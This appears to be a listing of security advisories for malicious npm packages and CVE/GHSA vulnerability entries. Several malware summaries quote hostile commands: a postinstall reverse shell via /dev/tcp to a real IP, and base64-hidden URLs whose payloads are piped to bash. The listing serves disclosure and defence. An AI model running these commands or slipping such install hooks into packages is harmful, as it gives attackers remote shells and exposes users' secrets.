255388 matches found
Malicious code in load-bufferjs (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 04d9f5ba202651d252a375411cf609db6f9a7ae83f164f6f2e66559a6dff5b92 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-3658 Malicious code in load-bufferjs (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 04d9f5ba202651d252a375411cf609db6f9a7ae83f164f6f2e66559a6dff5b92 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-3657 Malicious code in chai-as-streamed (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware fef1582aa7fb15599bd48e6f077be4d1a577d3916cf2c2650893f0406ede8ea3 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
GHSA-JVWF-75H9-CWGG vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
CVE-2026-44293 vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
CVE-2026-44292 vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
CVE-2026-44291 vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
CVE-2026-44289 vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
CVE-2026-44288 vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
GHSA-FX83-V9X8-X52W vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
GHSA-2PR8-PHX7-X9H3 vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
GHSA-Q6X5-8V7M-XCRF vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
CVE-2026-44294 vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
CVE-2026-44290 vulnerabilities
Vulnerabilities for packages: cadence-web, kubeflow-centraldashboard, pulumi, librechat, gemini-cli, homepage, kibana, nemo, vitess, renovate, opentelemetry-auto-instrumentations-node...
MAL-2026-3714 Malicious code in hello-world-pkg-value-value-p (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89 This package's postinstall hook executes node index.js, which runs execSync'bash -i & /dev/tcp/52.249.218.132/8080 0&1' — an interactive bash reverse...
Malicious code in hardhat-core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bb86c79e7ed3cd429c0f28bc08e00ce020df2ec42fdda086ad8bfca99f259930 package.json declares a postinstall script that base64-decodes the string 'aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=' to the URL...
MAL-2026-3708 Malicious code in ethers-io (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 098acd1dccfed8bcaea9f56206745eef7c9e4cd368599ba23f762a84c86bbc14 The package's package.json declares a postinstall script that base64-decodes a hidden URL http://8.217.75.147:3000/payload and pipes the HTTP respons...
Malicious code in solc-helper (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2016baa4fe29c296464b8381f88440457a113d79e2773d2252eb609a15ea2e03 package.json's postinstall lifecycle script runs node -e to base64-decode a hidden URL and pipe its contents to bash: curl -s...
Malicious code in web3-common (npm)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 2e42f568897d9af194eb75275059455c99b369456b0c8e0ffe13e7f32be839e6 The OpenSSF Package Analysis project identified 'web3-common' @ 1.0.0 npm as malicious. It is considered malicious because: - The package execut...
